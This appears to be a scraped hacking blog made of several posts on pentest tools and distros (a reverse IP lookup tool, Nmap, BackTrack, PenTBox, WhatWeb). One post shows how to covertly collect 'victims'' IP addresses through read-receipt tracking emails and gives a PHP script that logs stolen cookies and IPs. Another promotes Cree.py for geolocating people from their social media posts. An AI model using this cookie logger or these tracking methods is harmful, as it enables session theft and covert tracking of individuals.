Reverse Domain IP Lookup Tool:DRIL

DRIL (Domain Reverse IP Lookup) tool is a Reverse Domain Tool that will really useful for penetration testers to find out the domain names which are listed in the the target host. DRIL is a GUI, JAVA based application which uses the Bing API key. DRIL has a simple user friendly which will be helpfull for penetration tester to do there work fast without a mess. 

 

There are online tools available, but many a times due to slow internet connectivity and other issues, we intend to get frustrated while audits. This tool is small and handy will not consume hard-disk space. So, its simply an good and fast alternative. 

Download DRIL v2.2 (DomainReverseIPLookup.jar) here.

List of most useful online tools

Here is the list of some very useful n unique online handy tools for hackers,geeks :).Due to busy schedule I am not able to post description of every website will edit the information later.

• AdHoc IP Tools
• Ben's Web Utilities
• BGPViz
• BrowserSpy
• CERT Station
• CIDR Reports (ASN & BGP Info)
• CodeFlux Tools (SSL lookups)
• Command Line Reference Page
• Country to IP Address Reference
• Default Password List (another) (another) (another)
• DiG Gateway
• digitalpoint DNS Zone Xfer
• Fixed Orbit(ASN & BGP Info)
• GeekTools (Does DNS AXFR)
• Graphical DNS Tools
• HTML Status Codes (from RFC)
• HTTP Viewer
• InfoSysSec Online Tools
• Internet Topology Tools
• MD5 Hash Reverse Engineering Site
• Nerd Labs RevDNS Block Lookup (and other tools)
• NetBIOS Name Table
• Netcraft
• Network-Tools (Does SSL lookups and chaos queries too)
• NSRL Hash check (thanks to SANS) New
• Open Mail Relays List
• Opus 1 (you can mod your UDP traces)
• Open Proxies List
• Relakks VPN Service
• Root TLD Lookup
• Sam Spade
• Shodan Computer Search Engine New
• Swiss VPN
• T1 Shopper Online Port Scanner
• TechnicalInfo
• Tiny URL (URL Decoder)
• Traceroute.org
• TrimWare Online Tools
• User Agent Strings
• Visual Route Server (big list of them!)
• Web Based Network Tools
• Web Probe
• Web Sniffer
• Well Known Ports (plus trojans!)
• Windows Event Id's

If you like the post do share your views :)
SHARING IS CARING.

Geo location&Information Gathering

Gelocation has been a hot topic in the social engineering world for quite some time. As a social engineer it is important to be able to profile your targets efficiently. Tools like SET and Maltego make social engineering engagements easier.

Yet up until now there wasn’t a tool out there that helped a social engineer track the physical where-a-bouts of their targets. Of course you could go to their twitter, facebook, 4square and other social media accounts and gather all their messages and then find posts that have geo data in them and then take the time to gather all the details and make sense of them.

What if there was a way to retrieve information from Twitter as well as FourSquare. In addition, if you could then gather any geolocation data from flickr, twitpic.com, yfrog.com, img.ly, plixi.com, twitrpix.com, foleext.com, shozu.com, pickhur.com, moby.to, twitsnaps.com and twitgoo.com would that be impressive?

Enters Mr. Yiannis Kakavas. Yiannis approached Social-Engineer.Org with a beta of a tool he calls Cree.py…. and all I can say is creepy it is.

After a few minutes of installation it is up and running in BackTrack 4, Linux or Windows and you can track any targets gelocation from their tweets and social media.

Installation:

As I mentioned, installation in BackTrack is quite simple:
In a command console type:
Nano /etc/apt/sources.listAnd add this to the end:
deb http://people.dsv.su.se/~kakavas/creepy/ binary/Then in the console type:
apt-get updateThen to install cree.py type:
apt-get install creepyCreepy is now in the global menu under Applications-> Internet.
Or can be run by typing
CreepymapInto the console.

Running Cree.py

Once you start creepy up you are greeted by a very nice GUI interface:

Creepy Interface

In the “Search For” box you type in the full name of your target and hit “search”:

Searching with in Creepy

Once the search is done you can scroll through all your choices and double click them.  Which will place their nick into the Username field.
After that click the “Geolocate Target” button:

The Geolocation Map

That opens up the map view tab and starts to scrape through the targets tweets and other information looking for geolocation data.  When it is done searching:

Geo Data Galore

Some of the other great features of Cree.py is that you can export your targets map as a Google Earth filter and then open it up in Google Earth.

Google Earth Data

As you can see Cree.py is just that – CREEPY, but what a great tool to gather information and building profiles on targets.

source:social-engineer . org

NMAP-ADVANCED & BASIC FINGERPRINTING

NMAP(Network Mapper) is one of the most basic & advanced fingerprinting tool.I totally recommend this tool to everyone.


Basically NMAP is port scanner with advanced features like host identification topology etc

The six port states recognized by Nmap

OPEN

An application is actively accepting TCP connections, UDP datagrams or SCTP associations on this port. Finding these is often the primary goal of port scanning. Security-minded people know that each open port is an avenue for attack. Attackers and pen-testers want to exploit the open ports, while administrators try to close or protect them with firewalls without thwarting legitimate users. Open ports are also interesting for non-security scans because they show services available for use on the network.

CLOSED

A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it. They can be helpful in showing that a host is up on an IP address (host discovery, or ping scanning), and as part of OS detection. Because closed ports are reachable, it may be worth scanning later in case some open up. Administrators may want to consider blocking such ports with a firewall. Then they would appear in the filtered state, discussed next.    

FILTERED 

Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. These ports frustrate attackers because they provide so little information. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common. This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically.

 

UNFILTERED 

The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, which is used to map firewall rulesets, classifies ports into this state. Scanning unfiltered ports with other scan types such as Window scan, SYN scan, or FIN scan, may help resolve whether the port is open.

 

open|filtered

Nmap places ports in this state when it is unable to determine whether a port is open or filtered. This occurs for scan types in which open ports give no response. The lack of response could also mean that a packet filter dropped the probe or any response it elicited. So Nmap does not know for sure whether the port is open or being filtered. The UDP, IP protocol, FIN, NULL, and Xmas scans classify ports this way.

 

closed|filtered

This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only used for the IP ID idle scan.

here are the two videos showing basics of nmap








For those who have low bandwith nd cant go through videos

 Here i used Zenmap(nmap GUI) to scan my windows machine on vmware i used intensive scan with all 65535 ports to scan

 Results were really cool showing all my open ports + os detection was accurate

you can download nmap from here 

do share your views for this tut

HOW TO GET IP ADRESS EASILY

I have been getting requests that the content we are posting is not easy for beginners.I was little disappointed with such review so here we go simple yet effective post about very basic of intenet,networking the IP-address.

What is an IP address?
Every device connected to the public Internet is assigned a unique number known as an Internet Protocol (IP) address. IP addresses consist of four numbers separated by periods (also called a 'dotted-quad') and look something like 112.123.123.121(etc this is example of ipv4)

What can be done with an IP address?

IP adress is the very basic unit before you start a hack its basically used for fingerprinting,tracing and if victim is weak it wont take 10 secs to penetrate through vulnerability :)

HOW can I get an IP address?

Its an easy task to get your aswell as others ip addresses
to get your own ip address just go to this website

How to get ip of a website?

go to shell(command prompt) just type ping www.target.com
and there it will start showing numeric just like in this picture

How to get IP address of friends or victims?

Using E-mail receipts


E-mail receipt is a kind of notification you get as an e-mail when someone open (reading the mail send by you) your mail.


This notification consist of

• IP address of the mail reader.
• Time and date of reading the mail.
• Name and version of his browser.

 You need to follow these steps


a. Step 1:-


Visit readnotify and signup there. You can use your gmail, yahoo, hotmail,rediff or any email id. They give free trials for 2 weeks or 25 emails whichever comes first.


b. Step 2:-


Let's say you have used your email id example@gmail.com to register on readnotify.com, than login to your email account first.


c. Step 3:-


Click on the Compose mail menu and in the To : section write the email id of the culprit followed by readnotify.com, so the complete email address would be like victim@gmail.com.readnotify.com. 
just the normal procedure of email

step 4
you are done just wait for the victim to open that email volla you will get the details.
 

Using php scripts 

here is the basic php script

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('file.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: http://google.com/")
?>

Process:save it in you hosting ripway,my3gb,blackapplehost etc dont forget to create a file.txt file which will save all the ips 

This will save ips with date,time,from where link came+u can redirect to another url just like i redirected to google in matter of seconds.

Upcoming post will be on fingerprinting with ip address so we can work with a flow.

Do share you views on this post i tried to keep it simple.

BLACKBUNTU COMMUNITY EDITION

Blackbuntu is distribution for penetration testing which was specially designed for security training students and practitioners of information security.
Blackbuntu is Ubuntu base distro for Penetration Testing with GNOME Desktop Environment. It's currently being built using the Ubuntu 10.10 and work on reference Back|Track.

• Information Gathering
• Network Mapping
• Vulnerability Assessment
• Privilege Escalation
• Maintaining Access
• Intrusion Detection and Prevention
• Digital Forensics
• Web Application Analysis
• Reverse Engineering
• Wireless Analysis
• Security Distributions
• Malicious Code Analysis
• AntiSpyware & AntiVirus Tools
• Password Recovery & Managers

Download Blackbuntu CE v0.2 (bbuntu-ce-0.2.iso) here.

ISO is abt 2.63 gb it contains few more tools than backtrack.It could be really good for those who have hardware problem with backtrack+are looking for GNOME environment

WEAKERTHAN LINUX FOR HACKERS

Most of you would have heard about backtrack but its not the only one in the business.Weakerthan is another linux based pentesting distro which is really good.My second favorite after backi


Intro:

WeakNet Linux is designed primarily for penetration testing, forensic analysis and other security tasks. The default desktop environment is GNOME.

The tools i have selected are tools we use all the time here, as i said, If you find some that you want in it, please let me know. The image is about 1GB meaning; It will have to be on DVD, meaning; I can't host it here without risk of bandwidth dying! I need a place to upload it to. Some code written by WeakNet Labs Assistants from this site that are preinstalled:

* BRuWRT-FORSSE v2.0
* Easy-SSHd
* Web-Hacking-Portal v2.0
* Perlwd
* Netgh0st v3.0
* YouTube-Thief!
* Netgh0st v2.2
* DomainScan
* ADtrace
* Admin-Tool
* Tartarus v0.1
* and much more..

really good GUI+vulnerable applications to test our hacking skills


my personal experience with weaknet was really good & its worth.

WEAKERTHANv2 WeakNet Linux 5 - ISO ~684MB 
WeakNet Linux Complete Administration Guide 

BackTrack 4

the highest rated and acclaimed Linux security distribution to date. BackTrack is a Linux-based penetration testing arsenal that aids security professionals in the ability to perform assessments in a purely native environment dedicated to hacking. Regardless if you’re making BackTrack your primary operating system, booting from a LiveDVD, or using your favorite thumbdrive, BackTrack has been customized down to every package, kernel configuration, script and patch solely for the purpose of the penetration tester.

it contains about 300 pre installed tools :)
official change log for bt4 r2

• Kernel 2.6.35.8 – *Much* improved mac80211 stack.
• USB 3.0 support.
• New wireless cards supported.
• All wireless Injection patches applied, maximum support for wireless attacks.
• Even *faster* desktop environment.
• Revamped Fluxbox environment for the KDE challenged.
• Metasploit rebuilt from scratch, MySQL db_drivers working out of the box.
• Updated old packages, added new ones, and removed obsolete ones.
• New BackTrack Wiki with better documentation and support.
• Our most professional, tested and streamlined release ever.

 yes i would totally recommend you guys to use backtrack instead of other distros reason:
Backtrack is owned by offensive security they guys update it regularly+it has biggest community support in terms of hacking distros.

problem with backi was lack of hardware support.

you can download BACKTRACK from here(vmware&iso)

PenTBox v1.4

PenTBox is a Security Suite with programs like Password Crackers, Denial of Service testing tools like DoS and DDoS, Secure Password Generators, Honeypots and much more.Pentbox is destined to test security and stability of networks.

Tools included in PenTBox

Base64 encoder y decoder,
Digest for MD5,
SHA1,
SHA256 and SHA512,
Port scanner,
TCP DoS,
TCP AutoDoS,
SYN DoS,
Honeypot,
L33t Sp3@k Converter 

PenTBox is programmed in Ruby so ruby is required, and oriented to GNU/Linux systems compatible with Windows, MacOS and more.

Tutorial for PenTBox

1.Download PentBox and un tar
2. We are using windows box , simply run exe and choose from three options.
3. And your ready to attack  or audit. Nothing much to think or relay on.
Download PentBox Here

Pentbox is simple yet powerful .Feature i liked most is simple honeypot :) 

HOW I MET YOUR GIRLFRIEND -DEFCON 18

HOW I MET YOUR GIRLFRIEND from shobhit tiwari on Vimeo.


Here is a interesting video presentation from defcon 18 by Samy Kamkar .The guy is discussing how to attack advanced users who are into computer side via cookie bruteforcing+exploiting there router via XXXSS,XPS and generating the exact geolocation of the victim.

Dont miss this video

WhatWeb-Next Generation Web Explorer

Introduction

Identify content management systems (CMS), blogging platforms, stats/analytics packages, javascript libraries, servers and more. When you visit a website in your browser the transaction includes many unseen hints about how the webserver is set up and what software is delivering the webpage.
Some of these hints are obvious, eg. “Powered by XYZ” and others are more subtle. WhatWeb recognises these cues and reports what it finds.

WhatWeb has over 250 plugins and needs community support to develop more. Plugins can identify systems with obvious identifying hints removed by also looking for subtle clues. For example, a WordPress site might remove the tag but the WordPress plugin also looks for “wp-content” which is less easy to disguise. Plugins are flexible and can return any datatype, for example plugins can return version numbers, email addresses, account ID’s and more.

There are both passive and aggressive plugins, passive plugins use information on the page, in cookies and in the URL to identify the system. A passive request is as light weight as a simple GET / HTTP/1.1 request. Aggressive plugins guess URLs and request more files. Plugins are easy to write, you don’t need to know ruby to make them.

Example Usage

i tested simple command on our sister site www.basicgeeks.com and result was good

Log Output

There are currently 3 types of log output. They are:
–log-brief Brief logging. Default output
–log-full Full logging. Complete output from each plugin
–log-xml XML logging. Same information as default output but in XML format
You can output to multiple logs simulatenously by specifying muliple command line logging options.

 you can download whatweb here